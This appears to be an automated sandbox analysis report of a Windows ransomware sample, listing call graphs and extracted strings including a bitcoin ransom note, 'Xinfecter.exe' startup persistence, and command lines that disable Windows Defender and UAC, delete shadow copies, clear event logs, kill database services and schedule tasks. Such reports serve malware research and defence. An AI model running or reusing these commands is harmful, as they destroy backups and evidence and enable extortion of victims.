2 library calls 102707->102802 102712 92d3ee __wsopen_s 24 API calls 102708->102712 102713 927689 102709->102713 102800 9158a2 26 API calls ___std_exception_copy 102710->102800 102716 9276f2 102712->102716 102801 9158a2 26 API calls ___std_exception_copy 102713->102801 102717 9276fb 102716->102717 102803 927792 LeaveCriticalSection __wsopen_s 102716->102803 102719 916133 __Stollx 20 API calls 102717->102719 102721 927700 102719->102721 102720 927763 102723 92d3ee __wsopen_s 24 API calls 102720->102723 102722 916120 __dosmaperr 20 API calls 102721->102722 102725 92770b CloseHandle CloseHandle 102722->102725 102726 927768 102723->102726 102724 927658 std::_Locinfo::_Locinfo_ctor 102724->102678 102725->102724 102726->102717 102727 92779a 102726->102727 102804 9278a2 LeaveCriticalSection __wsopen_s 102727->102804 102729 9277e0 102805 920bea 26 API calls 2 library calls 102729->102805 102731 9277ec 102732 9278aa 102731->102732 102734 9277f5 102731->102734 102806 9158cf 11 API calls _abort 102732->102806 102735 92d337 __wsopen_s 21 API calls 102734->102735 102736 92787f 102735->102736 102738 92d337 __wsopen_s 21 API calls 102736->102738 102737 9278b4 ___unDNameEx 102739 9278dd 102737->102739 102740 9278cd 102737->102740 102738->102724 102741 9278f5 102739->102741 102742 9278e5 102739->102742 102743 916133 __Stollx 20 API calls 102740->102743 102746 927995 102741->102746 102749 927927 102741->102749 102745 916133 __Stollx 20 API calls 102742->102745 102744 9278d2 102743->102744 102809 9158a2 26 API calls ___std_exception_copy 102744->102809 102752 9278ea std::_Locinfo::_Locinfo_ctor 102745->102752 102747 916133 __Stollx 20 API calls 102746->102747 102747->102744 102807 924def 71 API calls 2 library calls 102749->102807 102751 927933 102751->102752 102753 924c92 std::_Xfsopen 23 API calls 102751->102753 102752->102678 102754 92794c 102753->102754 102755 927961 102754->102755 102756 927954 102754->102756 102808 92798b LeaveCriticalSection std::_Xfsopen 102755->102808 102757 916133 __Stollx 20 API calls 102756->102757 102757->102752 102759->102680 102761 915002 102760->102761 102762 914ffb 102760->102762 102763 92604d Concurrency::details::_CancellationTokenState::_RegisterCallback 31 API calls 102761->102763 102765 9151d6 CloseHandle 102762->102765 102766 914f5b 102762->102766 102764 915009 102763->102764 102810 9279ad 102764->102810 102765->102766 102766->102685 102768 915017 102768->102762 102769 91540c 29 API calls 102768->102769 102770 915027 102769->102770 102771 915031 102770->102771 102832 91524b 102770->102832 102771->102762 102773 91252a Concurrency::details::_CancellationTokenState::_RegisterCallback 93 API calls 102771->102773 102773->102762 102774 91503d Hash 102774->102774 102775 925478 __dosmaperr 20 API calls 102774->102775 102776 9150db 102775->102776 102777 922932 ___std_exception_copy 26 API calls 102776->102777 102796 9151a2 102776->102796 102778 9150f4 102777->102778 102780 9151e8 102778->102780 102782 927358 26 API calls 102778->102782 102779 9254d5 _free 20 API calls 102781 9151ad 102779->102781 102858 9158cf 11 API calls _abort 102780->102858 102783 9254d5 _free 20 API calls 102781->102783 102786 91510b 102782->102786 102783->102771 102785 9151f4 102786->102780 102787 927358 26 API calls 102786->102787 102788 915120 102787->102788 102788->102780 102789 91512b 102788->102789 102839 915289 102789->102839 102792 91513b CreateProcessA 102793 915180 CloseHandle 102792->102793 102794 915179 102792->102794 102793->102794 102795 9254d5 _free 20 API calls 102794->102795 102795->102796 102796->102779 102797->102676 102798->102676 102799->102692 102800->102724 102801->102724 102802->102724 102803->102720 102804->102729 102805->102731 102806->102737 102807->102751 102808->102752 102809->102752 102811 9278b5 ___unDNameEx 102810->102811 102812 9278dd 102811->102812 102813 9278cd 102811->102813 102814 9278e5 102812->102814 102819 9278f5 102812->102819 102815 916133 __Stollx 20 API calls 102813->102815 102817 916133 __Stollx 20 API calls 102814->102817 102816 9278d2 102815->102816 102861 9158a2 26 API calls ___std_exception_copy 102816->102861 102825 9278ea std::_Locinfo::_Locinfo_ctor 102817->102825 102818 927995 102820 916133 __Stollx 20 API calls 102818->102820 102819->102818 102822 927927 102819->102822 102820->102816 102859 924def 71 API calls 2 library calls 102822->102859 102824 927933 102824->102825 102826 924c92 std::_Xfsopen 23 API calls 102824->102826 102825->102768 102827 92794c 102826->102827 102828 927961 102827->102828 102829 927954 102827->102829 102860 92798b LeaveCriticalSection std::_Xfsopen 102828->102860 102830 916133 __Stollx 20 API calls 102829->102830 102830->102825 102833 9272ba 77 API calls 102832->102833 102834 915266 102833->102834 102835 91527e 102834->102835 102836 915272 102834->102836 102862 9158cf 11 API calls _abort 102835->102862 102836->102774 102838 915288 102840 9275d1 33 API calls 102839->102840 102841 91529c 102840->102841 102842 915134 102841->102842 102843 925478 __dosmaperr 20 API calls 102841->102843 102842->102792 102842->102796 102844 9152b7 102843->102844 102845 91536f 102844->102845 102863 91538b 77 API calls __Getctype 102844->102863 102847 9254d5 _free 20 API calls 102845->102847 102847->102842 102849 915361 102851 9254d5 _free 20 API calls 102849->102851 102851->102845 102852 915380 102866 9158cf 11 API calls _abort 102852->102866 102854 91538a 102855 927358 26 API calls 102856 9152c9 102855->102856 102856->102849 102856->102852 102856->102855 102857 9275d1 33 API calls 102856->102857 102864 9153c9 64 API calls 102856->102864 102865 92745f 20 API calls __Stollx 102856->102865 102857->102856 102858->102785 102859->102824 102860->102825 102861->102825 102862->102838 102863->102856 102864->102856 102865->102856 102866->102854 102867 876ff8 InternetReadFile 102869 876ff0 SimpleUString::operator= 102867->102869 102869->102867 102871 876a9d messages 102869->102871 102877 89c330 28 API calls 4 library calls 102869->102877 102870 8771bd 102872 9158b2 messages 26 API calls 102870->102872 102871->102870 102875 876aeb messages 102871->102875 102874 8771c2 102872->102874 102873 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 102876 876ea2 102873->102876 102875->102873 102877->102869

                                          Executed Functions

                                          Function 008847A9 Relevance: 194.3, APIs: 13, Strings: 94, Instructions: 7001COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $If You Want To Restore Them Email Us : $To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp$ ",$ /f$ ::$ <span class="spnn">$ ="$" start= auto$" start=auto$", $","$"cmd.exe","$"disaust",$"ren_end",$.GVJ$.txt$:: $:\Documents and Settings\$:\Users\$:\Windows\SysMain.sys$</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">$</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The $</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou$<html><head><title>$=" $All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without $DOEXI$Dflt$Dflt$Lpath$Second Email :$Telegram , ID :$Version 5.$X$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe$\AppData\SysMain.sys$\Start Menu\Programs\Startup\Xinfecter.exe$_Mail-$_[ID-$alterencsz="$alterencsz="",$asykat$asykat$c$c$c:\R_cfg.ini$c:\skips.txt$c_drive="$c_drive=""$c_end$dcdcf$dismx$emptyString$file$for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"$fpath="$fpath=""$h2gq$user$invalid stod argument$k2ba8v$mode="$mode="",$mode="fast",$mode="slow",$mqzp$mqzp$mqzp$mqzp$n7t0$nodisk$noshare$p2h6$r1d8la$reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic$sc create SqlBakup binPath= "$skip_path="$skip_path=""$spath$spath="$spath=""$stod argument out of range$taskkill /PID $taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk$tasklist /v /fo csv | findstr /i "dcdcf"$thd_per_drv="$thd_per_drv=""$total_thd="$total_thd=""$u4g8$ver$xER
                                          • API String ID: 0-3799354441
                                          • Opcode ID: 905a2c77b3f6bb038a8fe39612a992d78fa98d8503bf0f0983f85aa0f26ada4e
                                          • Instruction ID: e9a9e0574eb84960189f017743745c157e10cc7e55e680b74a0e7be0aa6ebb0a
                                          • Opcode Fuzzy Hash: 905a2c77b3f6bb038a8fe39612a992d78fa98d8503bf0f0983f85aa0f26ada4e
                                          • Instruction Fuzzy Hash: 42D3F471A10248DBDF14EF68CC46BDDBBB1FF85314F544298E405E7291EB74AA88CB92
                                          Function 0088C8D0 Relevance: 92.5, APIs: 5, Strings: 47, Instructions: 1531COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1279 88c8d0-88c92e call 8f1ec0 GetConsoleWindow ShowWindow 1282 88c9c9-88ca77 call 899830 * 4 1279->1282 1283 88c934-88c96d call 891f60 1279->1283 1307 88ca82-88ca89 1282->1307 1288 88c970-88c997 call 8920a0 * 2 1283->1288 1298 88c999-88c9c4 call 8923a0 call 887000 call 892220 1288->1298 1298->1307 1309 88ca8f-88caa3 1307->1309 1310 88cb82-88cbae call 8687e0 call 891b20 1307->1310 1313 88cae2-88cae5 1309->1313 1314 88caa5-88caa8 1309->1314 1330 88cc70-88cfb2 call 873030 GetModuleFileNameW call 8919c0 call 873eb0 call 873d50 call 891930 call 8649c0 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 8917f0 * 2 CopyFileW call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 8917f0 * 2 CopyFileW call 891800 call 891820 call 89ac60 call 8996d0 call 899d10 call 892220 call 8996d0 call 899d10 call 892220 call 891dc0 call 8687e0 call 892220 call 891dc0 call 8687e0 call 892220 call 891800 call 891820 call 89ac60 call 8996d0 call 899d10 call 892220 call 891dc0 call 8687e0 call 892220 call 884530 call 8687e0 call 891b20 call 891a30 call 8738c0 1310->1330 1331 88cbb4-88cc6b call 891b20 * 2 call 891ac0 call 8997d0 call 899d10 call 892220 * 2 call 891dc0 call 8687e0 call 892220 * 2 1310->1331 1317 88cb22-88cb25 1313->1317 1318 88cae7-88caea 1313->1318 1316 88cab0-88caba 1314->1316 1316->1316 1320 88cabc-88cadd 1316->1320 1322 88cb5d-88cb70 SetErrorMode SetConsoleTitleW call 8760a0 1317->1322 1323 88cb27-88cb2a 1317->1323 1321 88caf0-88cafa 1318->1321 1320->1313 1321->1321 1326 88cafc-88cb1d 1321->1326 1329 88cb75-88cb7c 1322->1329 1327 88cb30-88cb3a 1323->1327 1326->1317 1327->1327 1328 88cb3c-88cb59 1327->1328 1328->1322 1329->1310 1333 88ece5-88ed02 call 8f0d3b 1329->1333 1454 88cfb4-88cfbb 1330->1454 1455 88d016-88d02b call 876550 * 2 1330->1455 1331->1330 1454->1455 1456 88cfbd-88cfc4 1454->1456 1464 88d02d-88d04c call 876550 * 2 1455->1464 1465 88d052-88d162 call 891800 call 891820 call 89ac60 call 8921f0 call 868ae0 call 891930 call 8649c0 call 891800 call 891820 call 89ac60 call 868ae0 call 89a520 call 891930 call 8649c0 * 2 call 874cc0 call 891a10 1455->1465 1456->1455 1459 88cfc6-88cfd2 call 89b730 1456->1459 1459->1455 1466 88cfd4-88d013 call 891a30 * 2 call 869300 1459->1466 1464->1465 1511 88d164-88d166 1465->1511 1466->1455 1512 88d238-88d275 call 891a30 call 864a20 call 8649c0 1511->1512 1513 88d16c-88d209 call 89a2d0 call 89a3a0 call 89a260 call 891930 call 8649c0 * 3 call 891a30 call 864a20 1511->1513 1527 88d2f2-88d315 call 89a2d0 1512->1527 1528 88d277-88d2ed call 89a2d0 call 89a3a0 call 89a260 call 891930 call 8649c0 * 3 1512->1528 1569 88d20e-88d22a call 8649c0 1513->1569 1536 88d31c-88d350 call 891a30 call 864a20 1527->1536 1537 88d317 call 881700 1527->1537 1528->1527 1552 88d392 1536->1552 1553 88d352-88d382 call 891a30 call 864a20 1536->1553 1537->1536 1558 88d399-88d3a1 1552->1558 1570 88d387-88d390 1553->1570 1562 88d3bd-88d3df call 8649c0 1558->1562 1563 88d3a3-88d3b7 call 8649c0 1558->1563 1577 88d78b-88d951 call 909100 call 893f40 call 8998c0 call 863730 call 893ed0 call 909100 call 876650 call 8a6400 call 909100 call 88ed10 call 909100 call 88eeb0 call 890990 call 8a2d10 call 890990 call 8a2b40 1562->1577 1578 88d3e5-88d422 call 891a30 call 864a20 call 8649c0 1562->1578 1563->1562 1569->1512 1580 88d22c-88d233 1569->1580 1570->1552 1570->1558 1651 88d957-88d960 1577->1651 1592 88d424-88d431 call 891900 1578->1592 1593 88d436-88d43c 1578->1593 1580->1511 1592->1593 1597 88d440-88d45b call 891a30 call 86af30 1593->1597 1607 88d46d-88d786 call 909100 call 894290 call 891420 call 89b5c0 call 894220 call 892330 * 2 call 891b60 * 2 call 891ac0 call 892270 call 892220 call 891ac0 call 892270 call 892220 call 891b20 * 2 call 891ac0 call 891e20 call 891e40 call 89ad40 call 8918d0 call 891900 call 891b20 * 2 call 891ac0 call 891e20 call 891e40 call 89ad40 call 891900 call 867fe0 call 892270 call 892220 call 8921c0 call 8921f0 call 892220 call 8649c0 call 892220 call 8649c0 call 892220 * 4 call 86ace0 1597->1607 1608 88d45d 1597->1608 1788 88df8e-88dff1 call 909100 call 8676c0 call 8a2320 call 8919c0 call 8915f0 1607->1788 1611 88d45f-88d462 1608->1611 1612 88d464-88d46b Sleep 1608->1612 1611->1607 1611->1612 1612->1597 1651->1651 1653 88d962-88d9ce call 867e30 call 892270 call 892220 call 891ac0 * 2 1651->1653 1676 88d9d0-88d9d9 1653->1676 1676->1676 1678 88d9db-88d9f1 call 8921f0 1676->1678 1683 88d9f7-88da00 1678->1683 1683->1683 1685 88da02-88da21 call 8746c0 1683->1685 1691 88da26-88da2f 1685->1691 1691->1691 1693 88da31-88da6a call 899d60 call 892270 call 892220 1691->1693 1708 88da70-88da79 1693->1708 1708->1708 1710 88da7b-88de8c call 8923a0 call 867e30 call 892270 call 892220 call 909100 call 893f40 call 8996d0 call 899d10 call 899c00 call 863730 call 892220 * 2 call 893ed0 call 891800 call 891820 call 89ac60 call 909100 call 893f40 call 899c20 call 899c00 call 892220 call 899c20 call 899c00 call 892220 call 893ed0 call 8923a0 call 874e20 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 909100 call 894290 call 863730 call 894220 call 891a30 call 8823f0 1708->1710 1870 88de91-88df85 call 86ace0 call 8649c0 call 892220 * 2 call 86b0a0 call 892220 call 86b0a0 call 892220 * 5 call 867d70 call 876810 * 2 1710->1870 1810 88e003-88e309 call 89a570 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 891930 call 8649c0 * 10 call 892330 call 891dc0 call 915a02 call 892330 call 891dc0 call 915a02 call 89a570 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 891930 call 8649c0 * 8 call 899830 1788->1810 1811 88dff3-88dffe call 8918d0 1788->1811 1963 88e30f-88e320 call 86f630 1810->1963 1964 88e477-88e488 call 899830 1810->1964 1811->1810 1870->1788 1932 88df89 call 86b0a0 1870->1932 1932->1788 1969 88ec04-88ece0 call 8687e0 call 892220 * 3 call 8649c0 call 8678d0 call 8649c0 * 2 call 892220 * 8 call 8649c0 * 3 call 892220 1963->1969 1970 88e326-88e417 call 89a2d0 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 8649c0 * 5 call 8917f0 * 2 call 916146 1963->1970 1971 88e48e-88e803 call 865130 * 2 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 1964->1971 1972 88ebb0-88ebc1 call 899830 1964->1972 1969->1333 2074 88e419-88e460 call 89a400 call 891930 call 8649c0 call 8917f0 * 2 call 916146 1970->2074 2075 88e463-88e472 call 8649c0 1970->2075 2161 88e809-88eb8f call 865130 * 2 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 891590 call 891a30 call 89aee0 call 89b0d0 call 865330 call 865240 * 2 1971->2161 2162 88eb94-88ebae call 865240 * 2 1971->2162 1982 88ebf1-88ebfd call 87fce0 1972->1982 1983 88ebc3-88ebd8 call 87e270 * 2 1972->1983 1982->1969 1996 88ebff 1982->1996 1983->1969 2008 88ebda-88ebef call 87e270 * 2 1983->2008 1996->1969 2001 88ebff call 87fce0 1996->2001 2001->1969 2008->1969 2074->2075 2075->1969 2161->2162 2162->1969
                                          APIs
                                          • GetConsoleWindow.KERNEL32 ref: 0088C919
                                          • ShowWindow.USER32(00000000,00000000), ref: 0088C922
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Window$ConsoleShow
                                          • String ID: If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $If You Want To Restore Them Email Us : $To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp$ <span class="spnn">$" start= auto$" start=auto$.GVJ$:\Documents and Settings\$:\Users\$:\Windows\SysMain.sys$</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">$</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The $</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou$<html><head><title>$All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without $DOEXI$Dflt$Fast$Fast$Lpath$Manual_Mini_Config$Mini_Config$Normal_Config$Second Email :$Version 5.$\AppData\N-Save.sys$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe$\Start Menu\Programs\Startup\Xinfecter.exe$c$dcdcf$file$for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"$h2gq$user$mqzp$n7t0$p2h6$reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic$sc create SqlBakup binPath= "$spath$taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk$tasklist /v /fo csv | findstr /i "dcdcf"$u4g8$ver$xER$Z0
                                          • API String ID: 3999960783-3650271301
                                          • Opcode ID: 60bd9913b0095b04e0b8fda07c4a3dc38ac81f2d6b82b86a2151073791c535b1
                                          • Instruction ID: 2ca417682fbe27366b24340169fb0a5a3706a406177178fb85ac48381a916bd8
                                          • Opcode Fuzzy Hash: 60bd9913b0095b04e0b8fda07c4a3dc38ac81f2d6b82b86a2151073791c535b1
                                          • Instruction Fuzzy Hash: 18D2CC70D14258AADF24F768CD56BDDBBA4FB51300F5881D8A449A72D2EB701F48CB93
                                          Function 00869300 Relevance: 62.7, APIs: 1, Strings: 34, Instructions: 1466COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 3218 869300-8693a0 call 8973b0 * 2 3223 8693a2-8693ac call 8973b0 3218->3223 3224 8693b1-869400 call 891a30 * 2 call 89bf20 3218->3224 3223->3224 3232 869406-86943b call 908b80 3224->3232 3233 86954b-86961c call 89a2d0 call 898860 * 2 3224->3233 3239 869441-8694a2 call 908b80 call 89a2d0 3232->3239 3240 86aca8 call 898810 3232->3240 3252 869653-86967d 3233->3252 3253 86961e-869633 3233->3253 3254 8694a4-8694ad 3239->3254 3255 86950e-869514 3239->3255 3244 86acad call 9158b2 3240->3244 3251 86acb2 call 9158b2 3244->3251 3265 86acb7 call 898810 3251->3265 3259 8696b4-8696e0 3252->3259 3260 86967f-869694 3252->3260 3257 869635-869643 3253->3257 3258 869649-869650 call 8f13bc 3253->3258 3263 8694e4-86950b 3254->3263 3264 8694af-8694c4 3254->3264 3255->3233 3267 869516-86952b 3255->3267 3257->3251 3257->3258 3258->3252 3261 8696e6-8696ee 3259->3261 3262 869aa4-869aef call 8973b0 3259->3262 3268 869696-8696a4 3260->3268 3269 8696aa-8696b1 call 8f13bc 3260->3269 3271 8696f0-8696f7 3261->3271 3285 869b11-869b7e call 89a570 call 898860 3262->3285 3286 869af1-869b0c call 8973b0 * 2 3262->3286 3263->3255 3272 8694c6-8694d4 3264->3272 3273 8694da-8694e1 call 8f13bc 3264->3273 3282 86acbc call 9158b2 3265->3282 3276 869541-869548 call 8f13bc 3267->3276 3277 86952d-86953b 3267->3277 3268->3251 3268->3269 3269->3259 3271->3262 3280 8696fd-869703 3271->3280 3272->3244 3272->3273 3273->3263 3276->3233 3277->3244 3277->3276 3280->3271 3287 869705-869743 call 909100 call 894290 3280->3287 3294 86acc1 call 9158b2 3282->3294 3308 869bb5-869bc4 3285->3308 3309 869b80-869b95 3285->3309 3286->3285 3306 8699b3-8699c0 3287->3306 3307 869749-8697b4 call 8a0990 3287->3307 3302 86acc6 call 9158b2 3294->3302 3310 86accb-86acd0 call 9158b2 3302->3310 3317 8699c6-8699ea call 8980c0 call 91252a 3306->3317 3318 8699c2-8699c4 3306->3318 3330 86986a-869894 call 89c060 3307->3330 3331 8697ba 3307->3331 3311 869bc6-869bd0 3308->3311 3312 869be8-869c41 call 89a570 call 898860 3308->3312 3314 869b97-869ba5 3309->3314 3315 869bab-869bb2 call 8f13bc 3309->3315 3321 869bd2-869bd9 3311->3321 3352 869c84-869c9d 3312->3352 3353 869c43-869c58 3312->3353 3314->3302 3314->3315 3315->3308 3319 8699ed-8699fe call 898190 3317->3319 3318->3319 3342 869a00-869a25 call 863740 3319->3342 3343 869a2a-869aa0 call 894f40 call 8d943f 3319->3343 3321->3312 3327 869bdb-869be1 3321->3327 3327->3321 3334 869be3 3327->3334 3348 86989a-8698fb call 89c060 * 2 3330->3348 3349 86997b-869982 3330->3349 3338 8697c0-8697c7 3331->3338 3340 869cd4-86aba7 call 89a570 call 898860 * 32 call 897550 call 89a260 call 89a3a0 call 89a260 call 89a3a0 call 89a260 call 8649c0 * 37 call 909100 call 892610 call 89a970 call 8925d0 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 892330 call 909100 call 894110 call 899c00 call 8940a0 call 89a2d0 call 89a3a0 call 89a260 call 8649c0 * 2 call 892330 call 909100 call 894110 call 899c00 call 8940a0 call 915a02 3334->3340 3345 8697fb-86980e call 8970e0 3338->3345 3346 8697c9-8697cb 3338->3346 3606 86abe1-86aca7 call 86ae70 call 892220 call 8649c0 call 86ae70 call 892220 call 8649c0 call 86ad70 call 8649c0 * 10 call 8f0d3b 3340->3606 3607 86aba9-86abb0 3340->3607 3342->3343 3343->3262 3374 869847-86984e 3345->3374 3375 869810-869816 3345->3375 3355 8697f6-8697f8 3346->3355 3356 8697cd-8697d4 3346->3356 3348->3265 3397 869901-869941 call 8973b0 call 91248c 3348->3397 3349->3306 3362 869984-869993 3349->3362 3352->3340 3357 869c9f-869cb4 3352->3357 3364 869c6e-869c7c call 8f13bc 3353->3364 3365 869c5a-869c68 3353->3365 3355->3345 3358 8697d6-8697dc 3356->3358 3359 8697e3-8697e7 3356->3359 3367 869cb6-869cc4 3357->3367 3368 869cca-869cd1 call 8f13bc 3357->3368 3358->3359 3369 8697de-8697e1 3358->3369 3378 8697ec-8697ef 3359->3378 3372 869995-8699a3 3362->3372 3373 8699a9-8699b0 call 8f13bc 3362->3373 3364->3352 3365->3310 3365->3364 3367->3310 3367->3368 3368->3340 3369->3378 3372->3294 3372->3373 3373->3306 3379 869852-869864 call 8a0990 3374->3379 3383 869833-869837 3375->3383 3384 869818-86981f 3375->3384 3378->3355 3390 8697f1-8697f4 3378->3390 3379->3330 3379->3338 3398 86983c-86983f 3383->3398 3384->3383 3393 869821-869831 3384->3393 3390->3345 3393->3398 3409 869975-869978 3397->3409 3410 869943-869955 3397->3410 3398->3374 3399 869841-869845 3398->3399 3399->3379 3409->3349 3412 869957-869965 3410->3412 3413 86996b-869972 call 8f13bc 3410->3413 3412->3282 3412->3413 3413->3409 3607->3606 3608 86abb2-86abce call 892330 call 891dc0 call 915a02 3607->3608 3621 86abd3-86abdc call 892220 3608->3621 3621->3606
                                          APIs
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00869A98
                                            • Part of subcall function 0091248C: DeleteFileW.KERNEL32(?,?,00869938,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00912494
                                            • Part of subcall function 0091248C: GetLastError.KERNEL32(?,00869938,?,?,?,?,?,?,?,?,?,?,?,?,?,00000020), ref: 0091249E
                                            • Part of subcall function 0091248C: __dosmaperr.LIBCMT ref: 009124A5
                                          Strings
                                          • rem a5m6f, xrefs: 00869BEB
                                          • schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f, xrefs: 0086ABB2
                                          • (goto secthree):akakak, xrefs: 0086A803
                                          • " Xinfecter.exe , xrefs: 00869EF9, 0086A329
                                          • slow, xrefs: 008693A4
                                          • \AppData\S-8459.vbs, xrefs: 0086AA51
                                          • mqzp, xrefs: 0086A80E, 0086A855
                                          • Dim strScriptDim oExec, oWshShellDim ComSpecSet oWshShell = CreateObject("WScript.Shell")ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")strScript = ComSpec & " /C echo %SystemDrive%\Users\%username%\AppData\S-6748.bat"Set oExec = oWshShel, xrefs: 0086AA84
                                          • ">NULif "%ERRORLEVEL%"=="0" goto notendgoto secton:notendtimeout /t 15 /nobreak >NULIF NOT EXIST , xrefs: 0086A109
                                          • )IF NOT EXIST , xrefs: 0086A3D5
                                          • @echo offIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (start "" "%SystemDrive%\Users\%username%\AppData\S-8459.vbs"), xrefs: 0086AB3A
                                          • a5m6f, xrefs: 00869882, 008698A5
                                          • @echo offtasklist /v | find /I /c "dcdcf" > nulif "%ERRORLEVEL%" == "0" goto ErrorAlreadyRunningset lend=debvssadmin.exe D, xrefs: 00869CD7
                                          • l, xrefs: 0086AB79
                                          • ">NULif "%ERRORLEVEL%"=="0" goto imerif %lend% == bed (goto akakak)set lend=bedIF EXIST , xrefs: 00869D99
